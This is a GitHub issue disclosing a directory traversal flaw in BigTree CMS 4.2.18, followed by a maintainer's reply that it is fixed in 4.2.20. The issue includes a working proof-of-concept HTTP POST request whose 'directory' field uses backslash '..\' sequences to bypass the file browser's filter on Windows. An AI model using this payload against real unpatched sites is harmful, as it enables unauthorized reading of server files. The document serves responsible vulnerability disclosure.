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Directory Traversal in bigtreecms 4.2.18 #289

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xfkxfk opened this issue Jun 4, 2017 · 1 comment

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commented Jun 4, 2017

Directory Traversal in bigtreecms 4.2.18

FILE:
\BigTree-CMS-4.2.18\core\admin\ajax\developer\extensions\file-browser.php
at here, just filter .. and /, but we can use \ bypass on windows

POC:

POST /BigTree-CMS-4.2.18/site/index.php/admin/ajax/developer/extensions/file-browser/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/BigTree-CMS-4.2.18/site/index.php/admin/developer/extensions/build/files/
Content-Length: 88
Cookie: bigtree_admin[email]=admin%40admin.com; bigtree_admin[login]=%5B%22session-5933aabe111140.52177449%22%2C%22chain-5932b00a19ac87.74446726%22%5D; PHPSESSID=e5l89mgpbpdp4gumsc0qshlve4; hide_bigtree_bar=
Connection: keep-alive

base_directory=&directory=..\..\..\..\..\&cloud_disabled=true&file=&location=&container=

Trick:
use ..\ bypass on windows

email : xfkxfk@secbook.net

@timbuckingham

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commented Feb 14, 2018

Thanks, this should be fixed in the 4.2.20 release.

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